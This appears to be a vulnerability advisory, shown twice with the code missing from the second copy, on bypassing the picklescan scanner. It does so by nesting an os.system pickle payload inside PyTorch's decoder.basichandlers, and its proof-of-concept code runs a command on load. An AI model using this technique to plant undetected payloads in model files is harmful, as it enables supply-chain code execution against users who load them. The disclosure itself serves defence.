Summary
Using torch.utils.data.datapipes.utils.decoder.basichandlers function, which is a pytorch library function to execute remote pickle file.
Details
The attack payload executes in the following steps:
First, the attacker craft the payload by calling to torch.utils.data.datapipes.utils.decoder.basichandlers function in reduce method
Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution.
PoC
import torch.utils.data.datapipes.utils.decoder as decoder
class EvilTorchUtilsDataDatapipesDecoder:
def __reduce__(self):
extension = 'pickle'
class RCE:
def __reduce__(self):
return os.system, ('whoami',)
data = pickle.dumps(RCE())
return decoder.basichandlers, (extension, data)
Impact
Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models.
What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded.
Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.
Corresponding
https://github.com/FredericDT
https://github.com/Qhaoduoyu
References
FredericDT Reporter
Summary
Using torch.utils.data.datapipes.utils.decoder.basichandlers function, which is a pytorch library function to execute remote pickle file.
Details
The attack payload executes in the following steps:
First, the attacker craft the payload by calling to torch.utils.data.datapipes.utils.decoder.basichandlers function in reduce method
Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution.
PoC
Impact
Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models.
What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded.
Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.
Corresponding
https://github.com/FredericDT
https://github.com/Qhaoduoyu
References